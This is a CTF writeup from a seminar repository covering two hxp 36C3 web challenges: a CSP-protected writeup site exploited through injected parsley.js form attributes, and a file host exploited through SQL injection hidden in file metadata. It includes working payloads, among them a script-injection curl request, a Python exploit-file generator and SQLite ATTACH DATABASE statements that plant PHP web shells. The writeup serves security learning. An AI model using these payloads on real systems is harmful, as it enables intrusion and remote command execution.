]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/ferdl/hxp_36c3.md
add tasteless-ctf writeup
[pub/jan/ctf-seminar.git] / writeups / ferdl / hxp_36c3.md
1 # Retrospective
2 The hxp 36C3 ctf contest was a very well organised one, although the time (2019-12-27 - 2019-12-29) was not ideal
3 for me so I couldn't spend that much time actually participating during the CTF.
4
5 However, after getting some initial footholds in some of the challenges it was more than interesting to read up
6 on the writeups to see where I went into the right direction and where I was completely wrong.
7  
8 # Attempted Challenges
9
10 ## web-WriteupBin
11
12 This is a service where one can Publish a Writeup with at least 140 characters.
13 After submitting it, the writeup gets a random ID (e.g. b2f9cf1d5be42d24) and
14 is reachable at `http://78.46.216.67:8001/show.php?id=b2f9cf1d5be42d24`.
15 It can be liked by other users and shown to the admin. The input is checked for
16 the characters `<` and `>`, if it contains any of them the input is invalid.
17
18 There is one cookie present, PHPSESSID and the username is tied to it.
19 Upon deleting the cookie, one gets a new random username assigned.
20
21 The CSP header is the following:
22 `Content-Security-Policy: default-src 'none'; script-src 'nonce-ZDljYWY4Y2Q4NGU2NzE1Mw==' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.0/jquery.min.js https://cdnjs.cloudflare.com/ajax/libs/parsley.js/2.8.2/parsley.min.js; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; require-sri-for script style;`
23
24 Nothing obvious stands out so far...
25
26 I tried circumventing the frontend validation using curl, which worked:
27
28 ```
29 curl 'http://78.46.216.67:8001/add.php' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Upgrade-Insecure-Requests: 1' -H 'Origin: null' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7,es;q=0.6,ro;q=0.5' -H 'Cookie: PHPSESSID=ffeh8ono3qi73qot4bttann27i' --data 'c=f63d858d616898df&content=No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.%0D%0A<script>alert('test')</script>' --compressed --insecure
30 ```
31
32 However, the script got blocked because of the CSP.
33
34 I thought about the gabbr challenge from tasteless where we had to leak the
35 nonce value with style injections
36 (https://w0y.at/writeup/2019/10/27/tasteless-2019-gabbr.html), but this isn't
37 possible here due to the fact that the CSP blocks all style and image sources.
38
39 Another colleague also pointed out this meta header in the html:
40 `<meta name="description" content="WriteupBin - Leak flags with style!">`
41
42 It might also suggest using some style injection to leak the nonce but I couldn't
43 figure out anything which would actually work given the limited possibilities.
44
45 I also looked at some of the nonces to see whether they would not be random,
46 but they did seem to be truly random...
47
48 Looking back at the html form there is an additional hidden field 'c' which is
49 also tied to the session.
50
51 Investigating the source code it is used as some kind of csrf protection:
52 ```
53 if( (strtoupper($_SERVER['REQUEST_METHOD']) == 'POST' || count($_POST))  && (! hash_equals($_SESSION['c'], $_POST['c']))) {
54     die('csrf failed');
55 }
56 ```
57
58 I tried finding any CSP bypasses related to the parsley library but could not
59 find anything useful.
60 On the show page where we could inject some fields with parsley attributes
61 there's no parsley used and on the main page where parsley is used on the
62 `#publish-form` the injected html won't be displayed so no chance there.
63
64 ### After the ctf
65
66 After the CTF I read some writeups and the intended solution indeed was using the parsley library (https://ctftime.org/writeup/17891)
67 I didn't think about injecting a custom form which gets validated automatically... 🤦‍
68
69 To get the flag one has to know the following things:
70  - The flag was stored in a writeup published by the admin
71  - When viewing **any** writeup, all your own published writeups are rendered on the page with their ID
72  - Everyone can view any writeups
73  - When you show the admin your writeup he likes it, more specifically he presses the first button in the DOM
74    with the id 'like'
75
76 Because of those three points it was clear that we had to leak the ID(s) of the admin's published writeup(s)  
77 I knew already how to inject arbitrary HTML code, now it was just using the right parsley methods to:
78  - place a button with ID 'like' **before** the actual like button
79  - Use a jquery selector to trigger different events based on the presence of a character in the rendered own writeups
80  
81 Doing this serves as an oracle with which we can leak the admin's writeups character by character.
82  
83 The useful parsley methods with which we can achieve this are the following:
84
85 - `data-parsley-errors-container` This specifies the container in which error messages when validating an input are shown
86 - `data-parsley-error-message` This specifies the error message which gets rendered when a validation fails
87 - `data-parsley-trigger` With this we can achieve the validation **before** the admin clicks the actual like button
88
89 The form we inject looks like this:
90 ```
91 <form data-parsley-validate>
92   <input type="text">
93   <input type="text" id="like" data-parsley-trigger="blur" autofocus name="some-field"
94     data-parsley-error-message="<input id=like type=button>"
95     data-parsley-required data-parsley-errors-container="a:contains('Writeup - {payload}'):eq(0)" />
96 </form>
97 ```
98
99 This renders a form which gets validated with the trigger blur, i.e. after the element looses its focus.
100 Because it also has autofocus on it, it will be rendered very early, which is important because it has to be validated
101 before the admin clicks on the actual like button.
102
103 The validation will always fail because it has `data-parsley-required` and the field will always be empty.
104 Using the `data-parsley-errors-container` in conduction with the `a:contains('Writeup - {payload}'):eq(0)`
105 a like button is placed under the writeup link if the payload matches. This like button will be placed before the
106 actual like button, so if the guessed character is correct, the admin will press this like button instead of the
107 real one. If the guessed character is not correct, the real like button will be pressed and our writeup will be liked.
108 Because of those two differing behaviours the ID can be leaked character by character.
109
110 ## web-FileMagician
111
112 Because I got stuck with the WriteupBin challenge I went on to the next web challenge.
113
114 FileMagician is a very simple file hosting solution. Upon visiting the website
115 (http://78.47.152.131:8000/) one is presented with a file chooser button and
116 an upload button.
117
118 The source code was also given for this challenge. The interesting part of it is the sql
119 query for inserting the uploaded file into the database:
120 ```
121 if (isset($_FILES['file']) && $_FILES['file']['size'] < 10*1024 ){
122     $s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";
123     $db->exec($s);
124     move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file');
125 }
126 ```
127
128 This looks very much like an SQL Injection is possible if one can manipulate the output of PHP's
129 finfo_file() command.
130
131 I read the documentation on the command but could not find anything useful. I also fiddled around
132 with symlinks because someone mentioned it in the mattermost channel but all I could do with that
133 is trigger the `die('move_upload_file')` command.
134
135 I came back later and someone already solved it with an SQL injection through a specially crafted magic
136 file:
137
138 ```
139 content = open("closing.sid", "rb").read()
140
141 exploit = [_ for _ in content]
142
143 #payload = "');ATTACH DATABASE '/var/www/html/files/k.php' AS k;CREATE TABLE k.b (c text);-- -" # works!!!
144 payload = "');ATTACH DATABASE '/var/www/html/files/k.php' AS k;DELETE FROM k.b;--" # works!!!
145 #payload = "');ATTACH DATABASE '/var/www/html/files/k.php' AS k;INSERT INTO k.b VALUES('<?=`$_GET[x]`;?>" # works!!!
146 offset = content.find("1990")
147
148 for char in payload:
149     exploit[offset] = char
150     offset += 1
151
152 exploit[offset] = '\x00'
153
154 open("exploit.sid", "w+b").write("".join(exploit))
155 ``` 
156
157 ### After the CTF
158
159 Although we had solved this challenge during the CTF it was not totally clear to me how it worked.
160 So again, I read up on some writeups after the ctf was over. 
161
162 I already knew that I had to manipulate the file in such a way that the `file` command would inject some SQL.
163 Apparently there are lots of different possibilities in doing so:
164
165 #### jpg
166 When doing the `file` command on a jpg the exif image data is printed as well.
167 A jpg can be created with the command `convert -size 32x32 xc:white empty.jpg` from ImageMagick.
168
169 This results in the following output of `file empty.jpg`:
170 ```
171 empty.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 32x32, components 1
172 ```
173 However, if we add a comment with `exiftool -Comment="hello injection" empty.jpg` it will be printed in the file output as well:
174 ```
175 empty.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "hello injection", baseline, precision 8, 32x32, components 1
176 ```
177 #### gz
178 In gz the original filename is included when the file command is used: `touch temp && gzip temp && file temp.gz` prints
179 ```
180 temp.gz: gzip compressed data, was "temp", last modified: Mon Jan 13 16:01:06 2020, from Unix, original size modulo 2^32 0
181 ```
182 Notice the 'was "temp"'. This string can simply be changed in any file editor to include our SQL injection. 
183 #### shebang
184 Another solution to let the file command print arbitrary strings is using a shebang: A normal python shebang `#!/bin/usr/env python`
185 will be printed like this when using the file command:
186 ```
187 temp: a /bin/usr/env python script, ASCII text executable
188 ```
189 Thus, if we use another shebang, i.e. `#!/hello injection` we can inject an arbitrary string:
190 ```
191 temp: a /hello injection script, ASCII text executable
192 ```
193
194 #### Exploit
195 Now that we know how to inject our SQL it is time to ask *what* to inject. This site lists some injections for
196 SQLite databases: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md
197 In SQLite one can reach remote command execution using the `ATTACH DATABASE` directive:
198 ```
199 ATTACH DATABASE '/var/www/lol.php' AS lol;
200 CREATE TABLE lol.pwn (dataz text);
201 INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
202 ```
203 This attaches (or creates if it doesn't exist) the sqlite database (i.e. the file) `/var/www/lol.php` where a table
204 is created and the value `<?system($_GET['cmd']); ?>` is inserted. Upon calling this file via the web browser,
205 the php is interpreted and we achieve command execution!
206
207 With this it was possible to achieve a little shell via get parameters. Since there was a size limit one had to split the payload into two files:
208 ```
209 ');ATTACH DATABASE 'x.php' AS lol; CREATE TABLE lol.pwn (dataz text);--
210 ');ATTACH DATABASE 'x.php' AS lol; INSERT INTO lol.pwn (dataz) VALUES ('<?=`$_GET[1]`?>');--
211 ```
212
213 It was then possible to call the php file and call arbitrary commands using the GET parameter 1: `1=cat%20/flag*`